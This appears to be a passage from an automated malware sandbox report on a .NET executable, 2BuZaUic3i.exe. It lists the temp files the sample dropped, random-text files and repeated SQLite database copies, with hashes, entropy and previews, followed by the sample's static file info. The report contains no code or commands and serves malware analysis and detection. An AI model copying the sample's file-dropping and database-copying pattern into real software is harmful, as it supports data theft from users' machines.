Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\Temp\tmpC0CA.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\Users\user\AppData\Local\Temp\tmpC0CB.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\Temp\tmpC0CC.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\tmpC0CD.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\Temp\tmpC0DD.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\Users\user\AppData\Local\Temp\tmpE4BB.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpE4BC.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpE4BD.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpE4CE.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpE4CF.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpE4DF.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpE4E0.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpE4F1.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpE502.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpE503.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpE513.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpE524.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.960548538013282
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	2BuZaUic3i.exe
File size:	97'792 bytes
MD5:	9fe5f95d5355185b04b8e78d1c8cebe4
SHA1:	22d93095f0e585d07489a242bd92c33ee28d7d05
SHA256:	6f2dbdabc774d30faa0ae37b727451912b504326b791a1737c7e4a8c41de85ad
